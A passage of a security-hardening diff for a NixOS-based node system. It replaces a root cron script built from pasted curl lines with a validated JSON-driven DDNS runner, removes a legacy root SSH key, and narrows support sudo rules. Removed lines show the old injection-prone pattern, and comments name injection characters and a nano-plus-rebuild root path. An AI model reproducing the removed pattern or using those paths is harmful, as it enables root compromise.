+        return  # skip to avoid sending bare ${IP} to curl
+
+    for raw_url in urls:
+        try:
+            # Replace the placeholder with the validated IP (safe string replacement)
+            url = raw_url.replace("${IP}", public_ip)
+            # Revalidate after substitution — enforces /update/ path, no $, etc.
+            _validate_ddns_url(url)
+            subprocess.run(
+                ["curl", "--silent", "--max-time", "15", "--fail", "--no-location", url],
+                timeout=20, check=False,
+                stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,
+            )
+        except Exception:
+            pass
 
 
 def _reload_caddy_for_domain_change() -> None:
@@ -4550,25 +4721,29 @@ async def api_domains_set(req: DomainSetRequest):
 
     if req.ddns_url:
         ddns_url = req.ddns_url.strip()
-        # Strip leading "curl " if present
+        # Strip leading "curl " if user pasted the full command from Njalla's UI
         if ddns_url.lower().startswith("curl "):
             ddns_url = ddns_url[5:].strip()
         # Strip surrounding quotes
         if len(ddns_url) >= 2 and ddns_url[0] in ('"', "'") and ddns_url[-1] == ddns_url[0]:
             ddns_url = ddns_url[1:-1]
-        # Replace trailing &auto with &a=${IP}
+        # Replace trailing &auto with the IP placeholder used by _run_njalla_ddns
         if ddns_url.endswith("&auto"):
             ddns_url = ddns_url[:-5] + "&a=${IP}"
-        # Append curl line to njalla.sh, creating the base script first if
+        # Validate URL strictly — reject injection attempts before persisting
-        # needed so the shebang/IP lookup are present for this run and cron.
-        _ensure_njalla_script()
-        with open(NJALLA_SCRIPT, "a") as f:
-            f.write(f'curl "{ddns_url}"\n')
         try:
-            os.chmod(NJALLA_SCRIPT, 0o755)
+            ddns_url = _validate_ddns_url(ddns_url)
+        except ValueError as exc:
+            raise HTTPException(status_code=400, detail=f"Invalid DDNS URL: {exc}")
+        # Persist the URL in the JSON store (never in executable shell source)
+        existing_urls = _load_ddns_urls()
+        if ddns_url not in existing_urls:
+            existing_urls.append(ddns_url)
+        try:
+            _save_ddns_urls(existing_urls)
         except OSError:
             pass
-        # Run njalla.sh immediately to update DNS
+        # Run DDNS update immediately
         _run_njalla_ddns()
 
     # Regenerate the server-local /etc/hosts loopback entries so the newly
@@ -6023,9 +6198,44 @@ async def _startup_domain_reachability():
             _domain_reachability_task = asyncio.create_task(_background_domain_reachability_checker())
 
 
+@app.on_event("startup")
+async def _startup_security_migrations():
+    """Run one-time security upgrade migrations on every server start."""
+    loop = asyncio.get_event_loop()
+    # Migrate legacy njalla.sh DDNS lines to JSON store and archive the script
+    await loop.run_in_executor(None, _migrate_legacy_njalla_script)
+    # Remove the legacy fleet-wide support key from /root/.ssh/authorized_keys
+    await loop.run_in_executor(None, _remove_legacy_root_support_key)
+    # Expire any support session that has passed its deadline
+    await loop.run_in_executor(None, _expire_support_if_stale)
+    # Reconcile the expiry timer: if a valid session survived startup expiry,
+    # schedule the server-side timer so expiry occurs even without user activity.
+    await loop.run_in_executor(None, _reconcile_expiry_timer)
+
+
+def _reconcile_expiry_timer() -> None:
+    """Reschedule the expiry timer from persisted session metadata on startup.
+
+    Called after ``_expire_support_if_stale`` so only still-valid sessions are
+    rescheduled.  Cancels any previously running timer first.
+    """
+    try:
+        with open(SUPPORT_STATUS_FILE, "r") as f:
+            info = json.load(f)
+    except (FileNotFoundError, json.JSONDecodeError):
+        _cancel_expiry_timer()
+        return
+    session_id = info.get("session_id")
+    expires_at = info.get("expires_at")
+    if session_id and expires_at and time.time() < expires_at:
+        _schedule_expiry_timer(session_id, expires_at)
+    else:
+        _cancel_expiry_timer()
+
+
 @app.on_event("shutdown")
 async def _shutdown_domain_reachability():
-    """Stop the background domain reachability checker."""
+    """Stop the background domain reachability checker and cancel expiry timer."""
     global _domain_reachability_task
     async with _domain_reachability_task_lock:
         task = _domain_reachability_task
@@ -6034,3 +6244,4 @@ async def _shutdown_domain_reachability():
         task.cancel()
         with contextlib.suppress(asyncio.CancelledError):
             await task
+    _cancel_expiry_timer()

app/sovran_systemsos_web/static/js/support.js

@@ -110,12 +110,26 @@ function renderSupportInactive() {
     '</div>',
     '<div class="support-steps"><div class="support-steps-title">What happens:</div><ol>',
       '<li>A restricted <code>sovran-support</code> user is created with limited access</li>',
-      '<li>Our SSH key is added only to that restricted account</li>',
+      '<li>Support\'s SSH key is added only to that restricted account — not to root</li>',
       '<li>Wallet files are locked via access controls — not visible to support</li>',
       '<li>You control if and when wallet access is granted (time-limited)</li>',
       '<li>All session events are logged for your audit</li>',
+      '<li>Access expires automatically after 24 hours</li>',
     '</ol></div>',
+    '<div class="support-key-section">',
+      '<label class="support-key-label" for="support-ssh-pubkey">',
+        '<strong>Paste the support SSH public key provided by Sovran Systems:</strong>',
+      '</label>',
+      '<textarea id="support-ssh-pubkey" class="support-key-input" rows="3" ',
+        'placeholder="ssh-ed25519 AAAA… support-session" ',
+        'spellcheck="false" autocomplete="off" autocorrect="off" autocapitalize="off"></textarea>',
+      '<p class="support-key-hint">',
+        'The key must start with <code>ssh-ed25519</code> or <code>ecdsa-sha2-nistp256</code>. ',
+        'Do not paste your own private key — only paste the one-time public key sent by Sovran Systems support.',
+      '</p>',
+    '</div>',
     '<button class="btn support-btn-enable" id="btn-support-enable">Enable Support Access</button>',
+    '<p id="support-key-error" class="support-key-error" style="display:none;color:#c0392b;margin-top:8px;"></p>',
     '<p class="support-fine-print">You can revoke access at any time. When you end the session, you\'ll be able to disable SSH to return to the default secure state.</p>',
     '</div>',
   ].join("");
@@ -227,16 +241,43 @@ function renderSupportRemoved(verified) {
 
 async function enableSupport() {
   var btn = document.getElementById("btn-support-enable");
+  var errEl = document.getElementById("support-key-error");
+  var textarea = document.getElementById("support-ssh-pubkey");
+  if (errEl) { errEl.style.display = "none"; errEl.textContent = ""; }
+
+  var sshKey = textarea ? textarea.value.trim() : "";
+  if (!sshKey) {
+    if (errEl) { errEl.textContent = "Please paste the SSH public key provided by Sovran Systems support."; errEl.style.display = "block"; }
+    return;
+  }
+  // Client-side pre-validation: key must start with a known algorithm prefix
+  var validPrefixes = ["ssh-ed25519 ", "ecdsa-sha2-nistp256 ", "ecdsa-sha2-nistp384 ", "ecdsa-sha2-nistp521 ", "sk-ssh-ed25519@openssh.com "];
+  var hasValidPrefix = validPrefixes.some(function(p) { return sshKey.startsWith(p); });
+  if (!hasValidPrefix) {
+    if (errEl) { errEl.textContent = "Invalid key format. The key must start with ssh-ed25519 or ecdsa-sha2-nistp256. Do not paste a private key."; errEl.style.display = "block"; }
+    return;
+  }
+  if (sshKey.indexOf("\n") !== -1) {
+    if (errEl) { errEl.textContent = "The key must be a single line. Please check the pasted value."; errEl.style.display = "block"; }
+    return;
+  }
+
   if (btn) { btn.disabled = true; btn.textContent = "Enabling…"; }
   try {
-    await apiFetch("/api/support/enable", { method: "POST" });
+    await apiFetch("/api/support/enable", {
+      method: "POST",
+      headers: { "Content-Type": "application/json" },
+      body: JSON.stringify({ ssh_public_key: sshKey }),
+    });
     var status = await apiFetch("/api/support/status");
     _supportStatus = status;
     _supportEnabledAt = status.enabled_at;
     renderSupportActive(status);
   } catch (err) {
     if (btn) { btn.disabled = false; btn.textContent = "Enable Support Access"; }
-    alert("Failed to enable support access. Please try again.");
+    var detail = (err && err.detail) ? err.detail : "Failed to enable support access. Please check the key and try again.";
+    if (errEl) { errEl.textContent = detail; errEl.style.display = "block"; }
+    else { alert(detail); }
   }
 }
 

app/sovran_systemsos_web/support_ops.py

@@ -0,0 +1,283 @@
+"""Sovran Hub — injectable support session operations.
+
+Functions here handle legacy migration, root-key removal, and support-session
+expiry.  All filesystem paths, clocks, and callback functions are injectable
+so that the test suite can exercise the exact production implementations with
+temporary files and mocks rather than maintaining separate copies.
+
+All functions depend only on the Python standard library and the co-located
+``security_helpers`` module.
+"""
+
+from __future__ import annotations
+
+import json
+import os
+import re
+import tempfile
+import time as _time_module
+from typing import Callable
+
+# ── Legacy Njalla curl line regex ─────────────────────────────────────────────
+#
+# Matches both forms written by old Hub versions:
+#   curl [flags] https://njal.la/...           (unquoted)
+#   curl [flags] "https://njal.la/..."          (quoted — historical form)
+#
+# Optional flags (in order): --silent, --max-time N, --fail
+#
+# Rejected outright: semicolons, pipes, backticks, redirects, newlines,
+# ${...} except the literal ${IP} placeholder, and any extra arguments.
+_LEGACY_NJALLA_CURL_RE = re.compile(
+    r'^curl\s+(?:--silent\s+)?(?:--max-time\s+\d+\s+)?(?:--fail\s+)?'
+    r'(?:'
+    r'"(https://(?:www\.)?njal\.la/(?:[^\s;|`$\x00-\x1f"]|\$\{IP\})+)"'   # group 1: quoted
+    r'|(https://(?:www\.)?njal\.la/(?:[^\s;|`$\x00-\x1f"]|\$\{IP\})+)'    # group 2: unquoted
+    r')$'
+)
+
+# The exact base64 blob of the historical fleet-wide root support key that
+# was shipped with old releases of Sovran_SystemsOS and must be removed from
+# /root/.ssh/authorized_keys on upgrade.
+LEGACY_ROOT_KEY_BLOB = (
+    "AAAAC3NzaC1lZDI1NTE5AAAAIPxPF2Qm11FQxC20wydKtlmn/Bo07YnDda3b9/CyXxQP"
+)
+
+
+def remove_legacy_root_key(
+    authorized_keys_path: str,
+    target_blob: str,
+    *,
+    audit_fn: Callable[[str, str], None] | None = None,
+) -> bool:
+    """Remove the exact historical fleet-wide support key from an authorized_keys file.
+
+    Identifies the key by its exact base64 blob (``parts[1]``), regardless of
+    algorithm prefix or comment field.  All other keys, blank lines, and comment
+    lines are preserved unchanged.  The file is written back atomically.
+
+    Args:
+        authorized_keys_path: Path to the authorized_keys file to modify.
+        target_blob: The exact base64 key blob to remove.  Only lines whose
+            second whitespace-delimited field matches this value are removed;
+            no substring or comment matching is performed.
+        audit_fn: Optional callback ``(event: str, details: str)`` for audit
+            logging.  The full key blob is **never** passed to this callback.
+
+    Returns:
+        ``True`` if the file was modified (at least one line removed),
+        ``False`` if unchanged or absent.
+    """
+
+    def _audit(event: str, details: str = "") -> None:
+        if audit_fn:
+            audit_fn(event, details)
+
+    try:
+        with open(authorized_keys_path, "r") as f:
+            lines = f.readlines()
+    except FileNotFoundError:
+        return False
+    except OSError:
+        return False
+
+    kept: list[str] = []
+    removed_count = 0
+    for line in lines:
+        stripped = line.rstrip("\n")
+        parts = stripped.split()
+        # Key lines have at least two space-separated fields: algorithm + blob.
+        # Remove only lines whose blob (parts[1]) matches exactly — no
+        # substring matching, no comment matching.
+        if len(parts) >= 2 and parts[1] == target_blob:
+            removed_count += 1
+            # Audit without logging the key blob itself.
+            _audit("LEGACY_ROOT_KEY_REMOVED", "removed exact historical root support key")
+        else:
+            kept.append(line)
+
+    if removed_count == 0:
+        return False
+
+    # Atomic write: mkstemp in same directory + os.replace
+    auth_dir = os.path.dirname(os.path.abspath(authorized_keys_path))
+    fd, tmp = tempfile.mkstemp(dir=auth_dir, prefix=".authorized_keys_tmp")
+    try:
+        with os.fdopen(fd, "w") as f:
+            f.writelines(kept)
+        os.chmod(tmp, 0o600)
+        os.replace(tmp, authorized_keys_path)
+    except Exception:
+        try:
+            os.unlink(tmp)
+        except OSError:
+            pass
+        return False
+
+    _audit(
+        "LEGACY_ROOT_KEY_CLEANUP_COMPLETE",
+        f"removed={removed_count} keys_retained={len(kept)}",
+    )
+    return True
+
+
+def migrate_legacy_njalla_script(
+    script_path: str,
+    validate_fn: Callable[[str], str],
+    save_fn: Callable[[list[str]], None],
+    load_fn: Callable[[], list[str]],
+    *,
+    audit_fn: Callable[[str, str], None] | None = None,
+) -> None:
+    """Safely migrate legacy curl DDNS lines from a njalla.sh script to JSON store.
+
+    Reads the script **without** executing or sourcing it.  Parses only the
+    exact narrow curl-pattern lines (quoted or unquoted) written by old Hub
+    versions.  Any other line is silently discarded — never executed or logged
+    (it may contain secret tokens).
+
+    On successful persistence the script is archived with mode ``0o000`` so
+    it can no longer be executed.  If persistence fails the script is left
+    **untouched**.
+
+    Args:
+        script_path: Path to the legacy njalla.sh file.
+        validate_fn: URL validation function; raises ``ValueError`` on invalid
+            URLs.  Callers must substitute the ``${IP}`` placeholder before
+            calling — this function passes ``url.replace("${IP}", "127.0.0.1")``
+            to the validator.
+        save_fn: Callable that atomically writes a ``list[str]`` URL list to
+            the persistent JSON store.
+        load_fn: Callable that returns the current ``list[str]`` URL list from
+            the persistent store.
+        audit_fn: Optional callback ``(event: str, details: str)`` for audit
+            logging.  Token-bearing URLs are **never** passed to this callback.
+    """
+
+    def _audit(event: str, details: str = "") -> None:
+        if audit_fn:
+            audit_fn(event, details)
+
+    try:
+        with open(script_path, "r") as f:
+            content = f.read()
+    except FileNotFoundError:
+        return
+    except OSError:
+        return
+
+    existing_urls = load_fn()
+
+    new_urls: list[str] = []
+    for raw_line in content.splitlines():
+        line = raw_line.strip()
+        if not line or line.startswith("#") or line.startswith("IP=") or line.startswith("#!/"):
+            continue
+        m = _LEGACY_NJALLA_CURL_RE.match(line)
+        if not m:
+            # Unrecognised line — discard silently, do NOT log (may contain tokens)
+            continue
+        # group(1) = quoted form, group(2) = unquoted form
+        raw_url = m.group(1) or m.group(2)
+        # Substitute placeholder so host/scheme/path validation works
+        url_to_validate = raw_url.replace("${IP}", "127.0.0.1")
+        try:
+            validate_fn(url_to_validate)
+        except ValueError:
+            continue  # Silently discard invalid/non-Njal.la URLs
+        if raw_url not in existing_urls and raw_url not in new_urls:
+            new_urls.append(raw_url)
+
+    if new_urls:
+        combined = existing_urls + new_urls
+        try:
+            save_fn(combined)
+        except Exception:
+            # Persistence failed — leave the script untouched, return without
+            # archiving so the migration can be retried.
+            return
+        _audit("NJALLA_MIGRATION", f"migrated {len(new_urls)} DDNS URLs from legacy script")
+
+    # Archive: remove all permission bits so cron/any mechanism cannot run it
+    try:
+        os.chmod(script_path, 0o000)
+    except OSError:
+        pass
+
+
+def expire_if_stale(
+    status_file: str,
+    *,
+    clock_fn: Callable[[], float] | None = None,
+    disable_fn: Callable[[], bool] | None = None,
+    audit_fn: Callable[[str, str], None] | None = None,
+    session_id: str | None = None,
+    expected_expiry: float | None = None,
+    max_session_seconds: float = 86400.0,
+) -> bool:
+    """Expire a support session if its deadline has passed.
+
+    **Stale-timer guard:** when ``session_id`` and/or ``expected_expiry`` are
+    provided (used by the server-side timer callback), the stored session
+    metadata is compared field-by-field.  A mismatch means a replacement
+    session has been started after this timer was scheduled; in that case the
+    function returns ``False`` without touching anything.
+
+    Args:
+        status_file: Path to the JSON session metadata file.
+        clock_fn: Callable returning current Unix time (default: ``time.time``).
+        disable_fn: Callable that performs the full disable sequence — removes
+            the support key, removes wallet-unlock metadata, restores deny
+            ACLs, clears session metadata, and audits the event.  If ``None``,
+            expiry is detected but no action is taken (useful for tests that
+            want to inspect detection only).
+        audit_fn: Optional callback ``(event: str, details: str)`` for audit
+            logging.
+        session_id: If given, expiry is skipped unless the stored
+            ``session_id`` field matches exactly.
+        expected_expiry: If given, expiry is skipped unless the stored
+            ``expires_at`` field matches exactly.
+        max_session_seconds: Legacy fallback: maximum age (from ``enabled_at``)
+            when ``expires_at`` is absent.
+
+    Returns:
+        ``True`` if a session was expired, ``False`` otherwise.
+    """
+    _now = clock_fn if clock_fn is not None else _time_module.time
+
+    def _audit(event: str, details: str = "") -> None:
+        if audit_fn:
+            audit_fn(event, details)
+
+    def _disable() -> bool:
+        return disable_fn() if disable_fn is not None else True
+
+    try:
+        with open(status_file, "r") as f:
+            info = json.load(f)
+    except (FileNotFoundError, json.JSONDecodeError):
+        return False
+
+    # Stale-timer guard
+    if session_id is not None and info.get("session_id") != session_id:
+        return False
+    if expected_expiry is not None and info.get("expires_at") != expected_expiry:
+        return False
+
+    expires_at = info.get("expires_at")
+    now = _now()
+
+    if expires_at is None:
+        enabled_at = info.get("enabled_at", 0)
+        if enabled_at and (now - enabled_at) > max_session_seconds:
+            _audit("SUPPORT_EXPIRED", "legacy session without expires_at exceeded max duration")
+            _disable()
+            return True
+        return False
+
+    if now >= expires_at:
+        _audit("SUPPORT_EXPIRED", f"session expired at {expires_at:.0f}")
+        _disable()
+        return True
+
+    return False

configuration.nix

@@ -192,12 +192,9 @@ backup	/etc/nix-bitcoin-secrets/	localhost/
   };
 
   # ── Cron ───────────────────────────────────────────────────
-  services.cron = {
+  # The legacy njalla.sh root cron job has been replaced by the systemd timer
-    enable = true;
+  # defined in modules/core/njalla.nix (sovran-ddns-update.timer).  Cron is
-    systemCronJobs = [
+  # retained so that rsnapshot and other module-defined cron jobs continue to run.
-      "*/15 * * * * root /run/current-system/sw/bin/bash /var/lib/njalla/njalla.sh"
-    ];
-  };
 
   # ── Tor ────────────────────────────────────────────────────
   services.tor = { enable = true; client.enable = true; torsocks.enable = true; };

modules/core/njalla.nix

@@ -1,32 +1,124 @@
 { config, pkgs, lib, ... }:
 
 {
-  # ── Ensure njalla directory and base script exist on every build ──
+  # ── Ensure njalla directory exists on every build ────────────────────────
   systemd.tmpfiles.rules = [
     "d /var/lib/njalla 0750 root root -"
   ];
 
-  # ── Create base njalla.sh if it doesn't exist yet ────────────
+  # ── Install the shared validation helper so the DDNS runner can import it ─
-  systemd.services.njalla-init = {
+  # The exact same _validate_ddns_url() function used by the Hub web application
-    description = "Initialize Njal.la DDNS script if missing";
+  # is installed here as a read-only system file.  The DDNS runner imports it
-    wantedBy = [ "multi-user.target" ];
+  # directly so the two code paths share one validator — no weaker inline copy.
-    serviceConfig = {
+  environment.etc."sovran/security_helpers.py" = {
-      Type = "oneshot";
+    source = ../../app/sovran_systemsos_web/security_helpers.py;
-      RemainAfterExit = true;
+    mode   = "0444";
-    };
+    user   = "root";
-    unitConfig = {
+    group  = "root";
-      ConditionPathExists = "!/var/lib/njalla/njalla.sh";
-    };
-    script = ''
-      cat > /var/lib/njalla/njalla.sh <<'SCRIPT'
-#!/usr/bin/env bash
-IP=$(dig @resolver4.opendns.com myip.opendns.com +short -4)
-
-## Add DDNS entries below — one curl per line
-## Managed via Sovran Hub web interface
-SCRIPT
-
-      chmod 700 /var/lib/njalla/njalla.sh
-    '';
   };
+
+  # ── Safe DDNS update service ─────────────────────────────────────────────
+  # Reads DDNS update URLs from the JSON store written by the Hub API and
+  # invokes curl directly — no shell interpolation, no script execution.
+  # Replaces the legacy root cron job that ran /var/lib/njalla/njalla.sh.
+  systemd.services.sovran-ddns-update = {
+    description = "Sovran Njal.la DDNS update (safe JSON-based runner)";
+    wants = [ "network-online.target" ];
+    after = [ "network-online.target" ];
+    serviceConfig = {
+      Type        = "oneshot";
+      User        = "root";
+      ExecStart   = "${pkgs.python3}/bin/python3 /var/lib/sovran/ddns-update.py";
+      # Harden the service — it only needs network access and read access to
+      # /var/lib/njalla/ddns_urls.json.
+      NoNewPrivileges    = true;
+      ProtectSystem      = "strict";
+      ReadWritePaths     = [ "/var/lib/njalla" ];
+      ReadOnlyPaths      = [ "/etc/sovran" ];
+      ProtectHome        = true;
+      PrivateTmp         = true;
+      RestrictAddressFamilies = [ "AF_INET" "AF_INET6" ];
+    };
+  };
+
+  # Run the update every 15 minutes
+  systemd.timers.sovran-ddns-update = {
+    description = "Sovran Njal.la DDNS update timer";
+    wantedBy    = [ "timers.target" ];
+    timerConfig = {
+      OnBootSec    = "2min";
+      OnUnitActiveSec = "15min";
+      Persistent   = true;
+    };
+  };
+
+  # Install the Python runner script at build time so the service can find it.
+  # The script is owned by root and not world-writable.
+  # Uses _validate_ddns_url() from /etc/sovran/security_helpers.py — the same
+  # production validator used by the Hub API — before executing any curl call.
+  # No shell is used; no redirects; no script execution.
+  # ${IP} placeholder is preserved in stored URLs and substituted at runtime;
+  # the URL is validated after substitution so any remaining $ is rejected.
+  system.activationScripts.sovran-ddns-update-script = ''
+    install -d -m 0755 /var/lib/sovran
+    cat > /var/lib/sovran/ddns-update.py <<'PYEOF'
+#!/usr/bin/env python3
+"""Sovran safe DDNS update runner.
+
+Reads ddns_urls.json, substitutes the public IP for the ''${IP} placeholder,
+validates each URL using the production _validate_ddns_url() from
+/etc/sovran/security_helpers.py, then calls curl per URL.
+No shell interpolation.  No redirects.  No script execution.
+"""
+import ipaddress, json, os, subprocess, sys
+
+sys.path.insert(0, '/etc/sovran')
+try:
+    from security_helpers import _validate_ddns_url
+except ImportError:
+    sys.exit(1)  # validator missing — fail so systemd logs the misconfiguration
+
+URLS_FILE = "/var/lib/njalla/ddns_urls.json"
+
+try:
+    with open(URLS_FILE) as f:
+        urls = json.load(f)
+    if not isinstance(urls, list):
+        raise ValueError("not a list")
+except Exception:
+    sys.exit(0)  # no URLs configured — nothing to do
+
+# Resolve current public IP once
+public_ip = ""
+try:
+    r = subprocess.run(
+        ["dig", "@resolver4.opendns.com", "myip.opendns.com", "+short", "-4"],
+        capture_output=True, text=True, timeout=10,
+    )
+    raw = r.stdout.strip().splitlines()[0] if r.stdout.strip() else ""
+    ipaddress.ip_address(raw)  # validates — raises if not a real IP
+    public_ip = raw
+except Exception:
+    pass
+
+if not public_ip:
+    sys.exit(0)  # no IP resolved — skip to avoid sending bare ''${IP}
+
+for raw_url in urls:
+    try:
+        # Substitute ''${IP} placeholder then validate through production validator.
+        # After substitution there must be no $ left; _validate_ddns_url rejects
+        # any remaining $ expression.
+        url = raw_url.replace("''${IP}", public_ip)
+        _validate_ddns_url(url)
+        subprocess.run(
+            ["curl", "--silent", "--max-time", "15", "--fail", "--no-location", url],
+            timeout=20, check=False,
+            stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,
+        )
+    except Exception:
+        pass
+PYEOF
+    chmod 0500 /var/lib/sovran/ddns-update.py
+  '';
 }

modules/core/sovran-journal-helper.py

@@ -0,0 +1,175 @@
+#!/usr/bin/env python3
+"""Sovran restricted journal helper.
+
+A root-owned, non-user-writable diagnostic tool that wraps journalctl with
+a strict allowlist of safe flags.  Replaces the ``journalctl *`` sudo rule
+in tech-support.nix.
+
+Accepted flags:
+  --unit / -u <name>        must be one of the explicitly approved service units
+  --lines / -n <N>          positive integer (max 10000)
+  --priority / -p <level>   0-7 or emerg/alert/crit/err/warning/notice/info/debug
+  --since <datetime>        ISO 8601 date/datetime (no paths, no filesystem roots)
+  --until <datetime>        ISO 8601 date/datetime (no paths, no filesystem roots)
+  --output / -o <format>    short | short-iso | cat | json | verbose
+
+At least one ``--unit`` flag is required; whole-journal queries are rejected.
+All other flags, paths, directories, roots, namespaces, and output
+destinations are rejected with a non-zero exit code.
+"""
+
+import re
+import subprocess
+import sys
+
+# ── Allowlists ────────────────────────────────────────────────────────────────
+
+# Explicit approved units.  Only these four services may be queried through
+# the restricted journal helper.  Any other unit is rejected.
+_APPROVED_UNITS: frozenset[str] = frozenset([
+    "sovran-hub-web.service",
+    "caddy.service",
+    "bitcoind.service",
+    "lnd.service",
+])
+
+_ALLOWED_PRIORITIES = frozenset([
+    "0", "1", "2", "3", "4", "5", "6", "7",
+    "emerg", "alert", "crit", "err", "warning", "notice", "info", "debug",
+])
+
+_ALLOWED_OUTPUT_FORMATS = frozenset([
+    "short", "short-iso", "cat", "json", "verbose",
+])
+
+# ISO 8601 date or datetime: YYYY-MM-DD or YYYY-MM-DDTHH:MM:SS (no paths)
+_DATETIME_RE = re.compile(r'^\d{4}-\d{2}-\d{2}(T\d{2}:\d{2}(:\d{2})?)?$')
+
+_MAX_LINES = 10000
+
+# ── Argument parser ───────────────────────────────────────────────────────────
+
+
+def _die(msg: str) -> None:
+    print(f"sovran-journal-helper: {msg}", file=sys.stderr)
+    sys.exit(1)
+
+
+def _validate_unit(val: str) -> str:
+    if val not in _APPROVED_UNITS:
+        _die(
+            f"rejected unit name: {val!r} "
+            f"(allowed: {', '.join(sorted(_APPROVED_UNITS))})"
+        )
+    return val
+
+
+def _validate_lines(val: str) -> str:
+    try:
+        n = int(val)
+    except ValueError:
+        _die(f"rejected: --lines must be a positive integer, got {val!r}")
+    if n <= 0 or n > _MAX_LINES:
+        _die(f"rejected: --lines must be between 1 and {_MAX_LINES}, got {n}")
+    return str(n)
+
+
+def _validate_priority(val: str) -> str:
+    if val not in _ALLOWED_PRIORITIES:
+        _die(f"rejected priority: {val!r}")
+    return val
+
+
+def _validate_datetime(val: str) -> str:
+    if not _DATETIME_RE.match(val):
+        _die(f"rejected: datetime {val!r} (must be YYYY-MM-DD or YYYY-MM-DDTHH:MM:SS)")
+    return val
+
+
+def _validate_output(val: str) -> str:
+    if val not in _ALLOWED_OUTPUT_FORMATS:
+        _die(f"rejected output format: {val!r}")
+    return val
+
+
+def main() -> None:
+    args = sys.argv[1:]
+    cmd = ["journalctl"]
+    unit_count = 0
+
+    i = 0
+    while i < len(args):
+        arg = args[i]
+
+        if arg in ("--unit", "-u"):
+            i += 1
+            if i >= len(args):
+                _die("--unit requires a value")
+            cmd += ["--unit", _validate_unit(args[i])]
+            unit_count += 1
+        elif arg.startswith("--unit="):
+            cmd += ["--unit", _validate_unit(arg[len("--unit="):])]
+            unit_count += 1
+
+        elif arg in ("--lines", "-n"):
+            i += 1
+            if i >= len(args):
+                _die("--lines requires a value")
+            cmd += ["--lines", _validate_lines(args[i])]
+        elif arg.startswith("--lines="):
+            cmd += ["--lines", _validate_lines(arg[len("--lines="):])]
+        elif re.match(r'^-n\d+$', arg):
+            cmd += ["--lines", _validate_lines(arg[2:])]
+
+        elif arg in ("--priority", "-p"):
+            i += 1
+            if i >= len(args):
+                _die("--priority requires a value")
+            cmd += ["--priority", _validate_priority(args[i])]
+        elif arg.startswith("--priority="):
+            cmd += ["--priority", _validate_priority(arg[len("--priority="):])]
+
+        elif arg == "--since":
+            i += 1
+            if i >= len(args):
+                _die("--since requires a value")
+            cmd += ["--since", _validate_datetime(args[i])]
+        elif arg.startswith("--since="):
+            cmd += ["--since", _validate_datetime(arg[len("--since="):])]
+
+        elif arg == "--until":
+            i += 1
+            if i >= len(args):
+                _die("--until requires a value")
+            cmd += ["--until", _validate_datetime(args[i])]
+        elif arg.startswith("--until="):
+            cmd += ["--until", _validate_datetime(arg[len("--until="):])]
+
+        elif arg in ("--output", "-o"):
+            i += 1
+            if i >= len(args):
+                _die("--output requires a value")
+            cmd += ["--output", _validate_output(args[i])]
+        elif arg.startswith("--output="):
+            cmd += ["--output", _validate_output(arg[len("--output="):])]
+
+        else:
+            _die(
+                f"rejected flag: {arg!r}. "
+                "Allowed flags: --unit, --lines, --priority, --since, --until, --output"
+            )
+
+        i += 1
+
+    if unit_count == 0:
+        _die(
+            "at least one --unit flag is required; "
+            f"allowed units: {', '.join(sorted(_APPROVED_UNITS))}"
+        )
+
+    result = subprocess.run(cmd)
+    sys.exit(result.returncode)
+
+
+if __name__ == "__main__":
+    main()

modules/core/tech-support.nix

@@ -11,11 +11,10 @@
 #     (u:sovran-support:---) by the Hub API as soon as a session is started.
 #   • The Hub web UI lets the user grant time-limited access to wallet files
 #     and view a full audit log of every session event.
-#   • Scoped sudo rules allow support staff to edit custom.nix, trigger rebuilds,
+#   • Scoped sudo rules allow support staff to restart specific services and
-#     restart services, and read logs — without full root or wallet access.
+#     read logs — without full root, wallet access, Nix editing, or rebuilds.
-#
+#   • journalctl access is provided only through the root-owned
-# The `acl` package provides the `setfacl` / `getfacl` utilities required by
+#     sovran-journal-helper script (see below) with an allowlist of safe flags.
-# the Hub's _apply_wallet_acls() and _revoke_wallet_acls() helpers.
 {
   # ── System packages ────────────────────────────────────────────────────────
   environment.systemPackages = [ pkgs.acl ];
@@ -42,18 +41,40 @@
     "d /var/lib/sovran-support/.ssh 0700 sovran-support sovran-support -"
   ];
 
+  # ── Restricted journal helper ─────────────────────────────────────────────
+  # The helper is root-owned, not writable by any user, and accepts only a
+  # narrow allowlist of safe journalctl flags.  It is the sole mechanism by
+  # which the support user may read journal logs.
+  environment.etc."sovran/sovran-journal-helper.py" = {
+    source = ./sovran-journal-helper.py;
+    mode   = "0500";
+    user   = "root";
+    group  = "root";
+  };
+
   # ── Scoped sudo rules for support staff ───────────────────────────────────
-  # Grants only the minimum privileges needed for a support session.
+  # Grants only the minimum privileges needed for diagnostic support.
-  # Support staff cannot stop/disable/mask services or access wallet files.
+  # Editing Nix configuration and running nixos-rebuild are intentionally
+  # excluded: combining those two permissions provides a trivial path to
+  # arbitrary root code execution.  Systemctl access is limited to a small
+  # allowlist of named service restart operations.  journalctl is available
+  # only through the restricted helper above.
   security.sudo.extraRules = [
     {
       users = [ "sovran-support" ];
       commands = [
-        { command = "/run/current-system/sw/bin/nano /etc/nixos/custom.nix";        options = [ "NOPASSWD" ]; }
+        { command = "/run/current-system/sw/bin/systemctl restart sovran-hub-web.service"; options = [ "NOPASSWD" ]; }
-        { command = "/run/current-system/sw/bin/nano /etc/nixos/configuration.nix"; options = [ "NOPASSWD" ]; }
+        { command = "/run/current-system/sw/bin/systemctl restart caddy.service";       options = [ "NOPASSWD" ]; }
-        { command = "/run/current-system/sw/bin/nixos-rebuild switch --flake /etc/nixos"; options = [ "NOPASSWD" ]; }
+        { command = "/run/current-system/sw/bin/systemctl restart bitcoind.service";    options = [ "NOPASSWD" ]; }
-        { command = "/run/current-system/sw/bin/systemctl restart *";               options = [ "NOPASSWD" ]; }
+        { command = "/run/current-system/sw/bin/systemctl restart lnd.service";         options = [ "NOPASSWD" ]; }
-        { command = "/run/current-system/sw/bin/journalctl *";                      options = [ "NOPASSWD" ]; }
+        { command = "/run/current-system/sw/bin/systemctl status sovran-hub-web.service"; options = [ "NOPASSWD" ]; }
+        { command = "/run/current-system/sw/bin/systemctl status caddy.service";        options = [ "NOPASSWD" ]; }
+        { command = "/run/current-system/sw/bin/systemctl status bitcoind.service";     options = [ "NOPASSWD" ]; }
+        { command = "/run/current-system/sw/bin/systemctl status lnd.service";          options = [ "NOPASSWD" ]; }
+        # Restricted journal helper: accepts only safe flags (--unit, --lines,
+        # --priority, --since, --until, --output).  Rejects paths, directories,
+        # namespaces, roots, and arbitrary output destinations.
